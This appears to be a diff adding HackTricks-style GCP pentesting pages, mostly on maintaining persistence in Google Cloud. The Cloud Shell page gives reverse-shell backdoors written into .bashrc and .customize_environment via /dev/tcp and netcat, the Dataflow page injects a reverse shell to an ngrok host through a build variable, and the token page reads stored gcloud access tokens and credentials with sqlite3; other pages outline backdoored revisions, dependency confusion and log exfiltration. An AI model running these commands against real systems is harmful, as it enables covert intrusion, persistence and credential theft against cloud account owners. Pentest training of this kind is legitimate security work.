--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
|
||||
<strong># CHECK THE WILDCARD
|
||||
</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
<strong> --member="principalSet://iam.googleapis.com/${poolId}/*"
|
||||
</strong></code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
|
||||
> It should be always something like this:
|
||||
>
|
||||
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
|
||||
|
||||
### Github
|
||||
|
||||
Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
|
||||
|
||||
```yaml
|
||||
name: Check GCP action
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
|
||||
jobs:
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,144 @@
|
||||
# GCP - Permissions for a Pentest
|
||||
|
||||
If you want to pentest a GCP environment you need to ask for enough permissions to **check all or most of the services** used in **GCP**. Ideally, you should ask the client to create:
|
||||
|
||||
* **Create** a new **project**
|
||||
* **Create** a **Service Account** inside that project (get **json credentials**) or create a **new user**.
|
||||
* **Give** the **Service account** or the **user** the **roles** mentioned later over the ORGANIZATION
|
||||
* **Enable** the **APIs** mentioned later in this post in the created project
|
||||
|
||||
**Set of permissions** to use the tools proposed later:
|
||||
|
||||
```bash
|
||||
roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
```
|
||||
|
||||
APIs to enable (from starbase):
|
||||
|
||||
```
|
||||
gcloud services enable \
|
||||
serviceusage.googleapis.com \
|
||||
cloudfunctions.googleapis.com \
|
||||
storage.googleapis.com \
|
||||
iam.googleapis.com \
|
||||
cloudresourcemanager.googleapis.com \
|
||||
compute.googleapis.com \
|
||||
cloudkms.googleapis.com \
|
||||
sqladmin.googleapis.com \
|
||||
bigquery.googleapis.com \
|
||||
container.googleapis.com \
|
||||
dns.googleapis.com \
|
||||
logging.googleapis.com \
|
||||
monitoring.googleapis.com \
|
||||
binaryauthorization.googleapis.com \
|
||||
pubsub.googleapis.com \
|
||||
appengine.googleapis.com \
|
||||
run.googleapis.com \
|
||||
redis.googleapis.com \
|
||||
memcache.googleapis.com \
|
||||
apigateway.googleapis.com \
|
||||
spanner.googleapis.com \
|
||||
privateca.googleapis.com \
|
||||
cloudasset.googleapis.com \
|
||||
accesscontextmanager.googleapis.com
|
||||
```
|
||||
|
||||
## Individual tools permissions
|
||||
|
||||
### [PurplePanda](https://github.com/carlospolop/PurplePanda/tree/master/intel/google)
|
||||
|
||||
```
|
||||
From https://github.com/carlospolop/PurplePanda/tree/master/intel/google#permissions-configuration
|
||||
|
||||
roles/bigquery.metadataViewer
|
||||
roles/composer.user
|
||||
roles/compute.viewer
|
||||
roles/container.clusterViewer
|
||||
roles/iam.securityReviewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/secretmanager.viewer
|
||||
```
|
||||
|
||||
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions)
|
||||
|
||||
```
|
||||
From https://github.com/nccgroup/ScoutSuite/wiki/Google-Cloud-Platform#permissions
|
||||
|
||||
roles/Viewer
|
||||
roles/iam.securityReviewer
|
||||
roles/stackdriver.accounts.viewer
|
||||
```
|
||||
|
||||
### [CloudSploit](https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration)
|
||||
|
||||
```
|
||||
From https://github.com/aquasecurity/cloudsploit/blob/master/docs/gcp.md#cloud-provider-configuration
|
||||
|
||||
includedPermissions:
|
||||
- cloudasset.assets.listResource
|
||||
- cloudkms.cryptoKeys.list
|
||||
- cloudkms.keyRings.list
|
||||
- cloudsql.instances.list
|
||||
- cloudsql.users.list
|
||||
- compute.autoscalers.list
|
||||
- compute.backendServices.list
|
||||
- compute.disks.list
|
||||
- compute.firewalls.list
|
||||
- compute.healthChecks.list
|
||||
- compute.instanceGroups.list
|
||||
- compute.instances.getIamPolicy
|
||||
- compute.instances.list
|
||||
- compute.networks.list
|
||||
- compute.projects.get
|
||||
- compute.securityPolicies.list
|
||||
- compute.subnetworks.list
|
||||
- compute.targetHttpProxies.list
|
||||
- container.clusters.list
|
||||
- dns.managedZones.list
|
||||
- iam.serviceAccountKeys.list
|
||||
- iam.serviceAccounts.list
|
||||
- logging.logMetrics.list
|
||||
- logging.sinks.list
|
||||
- monitoring.alertPolicies.list
|
||||
- resourcemanager.folders.get
|
||||
- resourcemanager.folders.getIamPolicy
|
||||
- resourcemanager.folders.list
|
||||
- resourcemanager.hierarchyNodes.listTagBindings
|
||||
- resourcemanager.organizations.get
|
||||
- resourcemanager.organizations.getIamPolicy
|
||||
- resourcemanager.projects.get
|
||||
- resourcemanager.projects.getIamPolicy
|
||||
- resourcemanager.projects.list
|
||||
- resourcemanager.resourceTagBindings.list
|
||||
- resourcemanager.tagKeys.get
|
||||
- resourcemanager.tagKeys.getIamPolicy
|
||||
- resourcemanager.tagKeys.list
|
||||
- resourcemanager.tagValues.get
|
||||
- resourcemanager.tagValues.getIamPolicy
|
||||
- resourcemanager.tagValues.list
|
||||
- storage.buckets.getIamPolicy
|
||||
- storage.buckets.list
|
||||
```
|
||||
|
||||
### [Cartography](https://lyft.github.io/cartography/modules/gcp/config.html)
|
||||
|
||||
```
|
||||
From https://lyft.github.io/cartography/modules/gcp/config.html
|
||||
|
||||
roles/iam.securityReviewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
roles/resourcemanager.folderViewer
|
||||
```
|
||||
|
||||
### [Starbase](https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md)
|
||||
|
||||
```
|
||||
From https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md
|
||||
|
||||
roles/iam.securityReviewer
|
||||
roles/iam.organizationRoleViewer
|
||||
roles/bigquery.metadataViewer
|
||||
```
|
||||
@@ -0,0 +1,2 @@
|
||||
# GCP - Persistence
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
# GCP - API Keys Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Keys
|
||||
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Create new / Access existing ones
|
||||
|
||||
Check how to do this in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-apikeys-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# GCP - App Engine Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## App Engine
|
||||
|
||||
For more information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Modify code
|
||||
|
||||
If yoi could just modify the code of a running version or create a new one yo could make it run your backdoor and mantain persistence.
|
||||
|
||||
### Old version persistence
|
||||
|
||||
**Every version of the web application is going to be run**, if you find that an App Engine project is running several versions, you could **create a new one** with your **backdoor** code, and then **create a new legit** one so the last one is the legit but there will be a **backdoored one also running**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+42
@@ -0,0 +1,42 @@
|
||||
# GCP - Artifact Registry Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Dependency Confusion
|
||||
|
||||
- What happens if a **remote and a standard** repositories **are mixed in a virtual** one and a package exists in both?
|
||||
- The one with the **highest priority set in the virtual repository** is used
|
||||
- If the **priority is the same**:
|
||||
- If the **version** is the **same**, the **policy name alphabetically** first in the virtual repository is used
|
||||
- If not, the **highest version** is used
|
||||
|
||||
> [!CAUTION]
|
||||
> Therefore, it's possible to **abuse a highest version (dependency confusion)** in a public package registry if the remote repository has a higher or same priority
|
||||
|
||||
This technique can be useful for **persistence** and **unauthenticated access** as to abuse it it just require to **know a library name** stored in Artifact Registry and **create that same library in the public repository (PyPi for python for example)** with a higher version.
|
||||
|
||||
For persistence these are the steps you need to follow:
|
||||
|
||||
- **Requirements**: A **virtual repository** must **exist** and be used, an **internal package** with a **name** that doesn't exist in the **public repository** must be used.
|
||||
- Create a remote repository if it doesn't exist
|
||||
- Add the remote repository to the virtual repository
|
||||
- Edit the policies of the virtual registry to give a higher priority (or same) to the remote repository.\
|
||||
Run something like:
|
||||
- [gcloud artifacts repositories update --upstream-policy-file ...](https://cloud.google.com/sdk/gcloud/reference/artifacts/repositories/update#--upstream-policy-file)
|
||||
- Download the legit package, add your malicious code and register it in the public repository with the same version. Every time a developer installs it, he will install yours!
|
||||
|
||||
For more information about dependency confusion check:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/dependency-confusion
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# GCP - BigQuery Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## BigQuery
|
||||
|
||||
For more information about BigQuery check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigquery-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Grant further access
|
||||
|
||||
Grant further access over datasets, tables, rows and columns to compromised users or external users. Check the privileges needed and how to do this in the page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,19 @@
|
||||
# GCP - Cloud Functions Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
For more info about Cloud Functions check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence Techniques
|
||||
|
||||
- **Modify the code** of the Cloud Function, even just the `requirements.txt`
|
||||
- **Allow anyone** to call a vulnerable Cloud Function or a backdoor one
|
||||
- **Trigger** a Cloud Function when something happens to infect something
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# GCP - Cloud Run Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdoored Revision
|
||||
|
||||
Create a new backdoored revision of a Run Service and split some traffic to it.
|
||||
|
||||
### Publicly Accessible Service
|
||||
|
||||
Make a Service publicly accessible
|
||||
|
||||
### Backdoored Service or Job
|
||||
|
||||
Create a backdoored Service or Job
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,69 @@
|
||||
# GCP - Cloud Shell Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistent Backdoor
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) provides you with command-line access to your cloud resources directly from your browser without any associated cost.
|
||||
|
||||
You can access Google's Cloud Shell from the **web console** or running **`gcloud cloud-shell ssh`**.
|
||||
|
||||
This console has some interesting capabilities for attackers:
|
||||
|
||||
1. **Any Google user with access to Google Cloud** has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
|
||||
2. Said instance will **maintain its home directory for at least 120 days** if no activity happens.
|
||||
3. There is **no capabilities for an organisation to monitor** the activity of that instance.
|
||||
|
||||
This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell every time it's run just by doing:
|
||||
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
|
||||
There is another file in the home folder called **`.customize_environment`** that, if exists, is going to be **executed everytime** the user access the **cloud shell** (like in the previous technique). Just insert the previous backdoor or one like the following to maintain persistence as long as the user uses "frequently" the cloud shell:
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> It is important to note that the **first time an action requiring authentication is performed**, a pop-up authorization window appears in the user's browser. This window must be accepted before the command can run. If an unexpected pop-up appears, it could raise suspicion and potentially compromise the persistence method being used.
|
||||
|
||||
This is the pop-up from executing `gcloud projects list` from the cloud shell (as attacker) viewed in the browsers user session:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
However, if the user has actively used the cloudshell, the pop-up won't appear and you can **gather tokens of the user with**:
|
||||
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
|
||||
#### How the SSH connection is stablished
|
||||
|
||||
Basically, these 3 API calls are used:
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (will make you add your public key you created locally)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (will make you start the instance)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (will tell you the ip of the google cloud shell)
|
||||
|
||||
But you can find further information in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
## References
|
||||
|
||||
- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
|
||||
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,37 @@
|
||||
# GCP - Cloud SQL Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Expose the database and whitelist your IP address
|
||||
|
||||
A database only accessible from an internal VPC can be exposed externally and your IP address can be whitelisted so you can access it.\
|
||||
For more information check the technique in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Create a new user / Update users password / Get password of a user
|
||||
|
||||
To connect to a database you **just need access to the port** exposed by the database and a **username** and **password**. With e**nough privileges** you could **create a new user** or **update** an existing user **password**.\
|
||||
Another option would be to **brute force the password of an user** by trying several password or by accessing the **hashed** password of the user inside the database (if possible) and cracking it.\
|
||||
Remember that **it's possible to list the users of a database** using GCP API.
|
||||
|
||||
> [!NOTE]
|
||||
> You can create/update users using GCP API or from inside the databae if you have enough permissions.
|
||||
|
||||
For more information check the technique in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,19 @@
|
||||
# GCP - Compute Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Compute
|
||||
|
||||
For more informatoin about Compute and VPC (Networking) check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistence abusing Instances & backups
|
||||
|
||||
- Backdoor existing VMs
|
||||
- Backdoor disk images and snapshots creating new versions
|
||||
- Create new accessible instance with a privileged SA
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,53 @@
|
||||
# GCP - Dataflow Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Invisible persistence in built container
|
||||
|
||||
Following the [**tutorial from the documentation**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) you can create a new (e.g. python) flex template:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
|
||||
# Create repository where dockerfiles and code is going to be stored
|
||||
export REPOSITORY=flex-example-python
|
||||
gcloud storage buckets create gs://$REPOSITORY
|
||||
|
||||
# Create artifact storage
|
||||
export NAME_ARTIFACT=flex-example-python
|
||||
gcloud artifacts repositories create $NAME_ARTIFACT \
|
||||
--repository-format=docker \
|
||||
--location=us-central1
|
||||
gcloud auth configure-docker us-central1-docker.pkg.dev
|
||||
|
||||
# Create template
|
||||
export NAME_TEMPLATE=flex-template
|
||||
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
|
||||
--sdk-language "PYTHON" \
|
||||
--flex-template-base-image "PYTHON3" \
|
||||
--metadata-file "metadata.json" \
|
||||
--py-path "." \
|
||||
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
|
||||
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
|
||||
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
|
||||
|
||||
Then, next time the job is executed, the compromised container built will be run:
|
||||
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# GCP - Filestore Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give broader access and privileges over a mount
|
||||
|
||||
An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
|
||||
|
||||
{{#ref}}
|
||||
gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# GCP - Logging Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logging
|
||||
|
||||
Find more information about Logging in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Create a sink to exfiltrate the logs to an attackers accessible destination:
|
||||
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,104 @@
|
||||
# GCP - Token Persistance
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
To get the **current token** of a user you can run:
|
||||
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
|
||||
Check in this page how to **directly use this token using gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
{{#endref}}
|
||||
|
||||
To get the details to **generate a new access token** run:
|
||||
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
|
||||
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
|
||||
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:
|
||||
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
|
||||
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
|
||||
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
After executing it it was checked that this app supports these scopes:
|
||||
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
|
||||
### Service Accounts
|
||||
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.
|
||||
|
||||
### Metadata
|
||||
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
|
||||
### Remediations
|
||||
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### References
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,22 @@
|
||||
# GCP - Secret Manager Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Find more information about Secret Manager in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Rotation misuse
|
||||
|
||||
